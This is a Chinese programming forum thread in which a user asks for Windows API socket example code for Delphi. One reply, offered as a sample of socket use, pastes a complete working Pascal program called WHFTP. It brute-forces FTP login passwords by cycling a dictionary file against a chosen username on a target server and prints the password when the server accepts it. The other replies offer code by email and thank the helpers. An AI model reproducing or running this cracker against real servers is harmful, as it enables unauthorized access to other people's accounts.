请问谁有用API 写的SOCKET通讯程序?急,在线等...,   分不够再加,谢谢!
可以直接发到

解决方案 »

  1.   

    急着用么 我以前写了点 是VC代码 要么...如果不急的话 我有空改成DELPHI的给你。。
      

  2.   

    这是别人的,你看看
    ××××××××××××××××××××××××××××××××××××
    下面这个是我写的一个破ftp密码的工具,没有加多线程,不过是pascal的,在d5+win2k
    下运行通过!!希望对你有帮助!!!!program Project1;
    {$APPTYPE CONSOLE}
    uses
      SysUtils,
      winsock,
      windows;var
    username,password,server,user,pass,receivestr:array[0..255] of char;
    passfile:textfile;
    passfilepath:string;
    wsa:twsadata;
    serversock:tsocket;
    addr:tsockaddr;
    res:integer;procedure usage;
    begin
    writeln('WHFTP edit by [email protected] 25/05/2001');
    writeln('');
    writeln('usage:whftp.exe  < SERVERIP > < USERNAME >  < PASSFILE > [ OPTION ]');
    writeln('      [options]         -s:show process.');
    writeln('      serverip:         the remote ftp server"s ip address');
    writeln('      username:         the user name you want to get');
    writeln('      passfile:         the password file you used');
    writeln('example:whftp.exe 127.0.0.1 administrator chinese.dic');
    writeln('example:whftp.exe 127.0.0.1 administrator chinese.dic -s');
    end;begin
    if (paramcount <3) or (paramcount >4) then usage
       else
       begin
          strpcopy(user,'user ');
          strpcopy(server,paramstr(1));
          strpcopy(username,paramstr(2));
          strcat(user,username);
          strcat(user,#13#10);
          passfilepath:=paramstr(3);
          assignfile(passfile,passfilepath);
          wsastartup(makeword(2,2),wsa);
          serversock:=socket(AF_INET,SOCK_STREAM,0);
          addr.sin_family:=AF_INET;
          addr.sin_port:=htons(21);
          addr.sin_addr.S_addr:=inet_addr(server);
          res:=connect(serversock,addr,sizeof(addr));
          if (res<>-1) then
            begin
            recv(serversock,receivestr,sizeof(receivestr),0);
             reset(passfile);
             writeln('NOW CRACKING,WAIT PLEASE!....................',#13#10);
             while (not eof(passfile)) do
               begin
                 readln(passfile,password);
                 strpcopy(pass,'pass ');
                 strcat(pass,password);
                 strcat(pass,#13#10);
                 send(serversock,user,sizeof(user),0);
                 recv(serversock,receivestr,sizeof(receivestr),0);
                 send(serversock,pass,sizeof(pass),0);
                 if (paramcount=4) and ((paramstr(4)='s') or (paramstr(4)='S')) then
                 writeln('TRY...',username,'...',password);
                 recv(serversock,receivestr,sizeof(receivestr),0);
                  if ((strpos(receivestr,'230')<>nil) or (strpos(receivestr,'logged in')<>nil)) then
                    begin
                    writeln('==========^_^ Password found^_^==========',#13#10);
                    writeln('          ',username,':',password,#13#10);
                    writeln('=========================================');
                     close(passfile);
                     closesocket(serversock);
                     wsacleanup;
                     exit;
                    end;
                end;
                close(passfile);
                writeln('==========^_^ Nothing found ^_^==========');
                writeln('=                        [email protected]=');
                writeln('=========================================');
            end;
          wsacleanup;
       end;
    end.
      

  3.   

    TO [email protected]已发源代码
      

  4.   

    TO: beyondtkl(大龙驹<暗黑系魔法师&&赏金猎人>) 改成D的,谢谢谢谢楼上各位
      

  5.   

    TO: oushengfen(逸帆) 邮件怎么没收到啊,能不能再发一次啊,谢谢
      

  6.   

    TO [email protected]已发源代码
      

  7.   

    谢谢,[email protected],邮件已收到2封,其他人没收到,不过还是谢谢各位了.